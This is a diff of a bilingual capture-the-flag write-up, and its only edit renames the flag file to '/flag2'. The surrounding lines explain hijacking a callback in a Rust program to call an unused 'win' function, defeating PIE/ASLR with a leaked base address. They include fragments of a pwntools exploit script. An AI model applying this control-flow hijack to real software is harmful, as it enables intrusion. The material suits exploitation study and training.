@@ -92,13 +92,13 @@ Le code source contient une fonction qui n'est appelée nulle part :
9292
9393``` rs
9494fn win (_ctx : * const u8 ) {
95- if let Ok (flag ) = std :: fs :: read_to_string (" /flag " ) {
95+ if let Ok (flag ) = std :: fs :: read_to_string (" /flag2 " ) {
9696 // imprime le flag
9797 }
9898}
9999```
100100
101- ` win ` lit ` /flag ` et l'imprime. Elle n'est jamais invoquée par le programme :
101+ ` win ` lit ` /flag2 ` et l'imprime. Elle n'est jamais invoquée par le programme :
102102le seul moyen de l'atteindre est de détourner le flot d'exécution vers elle.
103103
104104Si on écrit ` &win ` dans ` callback ` , alors ` admin_show ` exécutera ` win ` et le
@@ -149,7 +149,7 @@ win_runtime = base_PIE + offset_statique(win)
149149
150150` offset_statique(win) ` se lit, comme pour ` banner ` , dans le binaire. (Dans le
151151binaire livré, strippé, ` win ` se reconnaît à son appel à ` read_to_string ` /
152- ouverture de ` /flag ` .)
152+ ouverture de ` /flag2 ` .)
153153
154154### Forge du ` Some(win) `
155155
@@ -165,7 +165,7 @@ Côté `AdminRecord`, `callback` vaut maintenant `Some(win)`.
165165### Déclenchement
166166
167167` admin_show(0) ` lit ` Some(cb) ` avec ` cb == win ` , et appelle ` cb(ptr) ` . ` win `
168- lit ` /flag ` et l'imprime.
168+ lit ` /flag2 ` et l'imprime.
169169
170170> Détail sur l'alignement : l'appel indirect saute à l'entrée de ` win ` , une
171171> fonction Rust ordinaire dont le prologue rétablit l'alignement de pile avant
@@ -253,13 +253,13 @@ The source contains a function called nowhere:
253253
254254``` rs
255255fn win (_ctx : * const u8 ) {
256- if let Ok (flag ) = std :: fs :: read_to_string (" /flag " ) {
256+ if let Ok (flag ) = std :: fs :: read_to_string (" /flag2 " ) {
257257 // prints the flag
258258 }
259259}
260260```
261261
262- ` win ` reads and prints ` /flag ` . The only way to reach it is to hijack control
262+ ` win ` reads and prints ` /flag2 ` . The only way to reach it is to hijack control
263263flow into it. Writing ` &win ` into ` callback ` makes ` admin_show ` execute ` win ` .
264264
265265### The obstacle: PIE and ASLR
@@ -289,7 +289,7 @@ win_runtime = base_PIE + static_offset(win)
289289```
290290
291291In the stripped shipped binary, identify ` win ` by its ` read_to_string ` /
292- ` /flag ` open call.
292+ ` /flag2 ` open call.
293293
294294### Forging ` Some(win) `
295295
@@ -300,7 +300,7 @@ payload[8:16] = struct.pack("<Q", win_runtime) # callback = Some(win)
300300
301301### Trigger
302302
303- ` admin_show(0) ` calls ` cb(ptr) ` with ` cb == win ` ; ` win ` prints ` /flag ` .
303+ ` admin_show(0) ` calls ` cb(ptr) ` with ` cb == win ` ; ` win ` prints ` /flag2 ` .
304304
305305> Alignment note: the indirect call lands at ` win ` 's entry, an ordinary Rust
306306> function whose prologue restores stack alignment before any inner call.
@@ -393,7 +393,7 @@ log.success(f"Flag 1 : {p.recvline().strip().decode()}")
393393# Flag 2 : forge Some(win) a l'offset 8
394394payload[8 :16 ] = struct.pack(" <Q" , win_rt)
395395edit_ref(p, 0 , bytes (payload))
396- p.sendline(b " 9" ) # admin_show -> cb == win -> imprime /flag
396+ p.sendline(b " 9" ) # admin_show -> cb == win -> imprime /flag2
397397p.sendlineafter(b " Enter index: " , b " 0" )
398398
399399data = p.recvall(timeout = 3 )
0 commit comments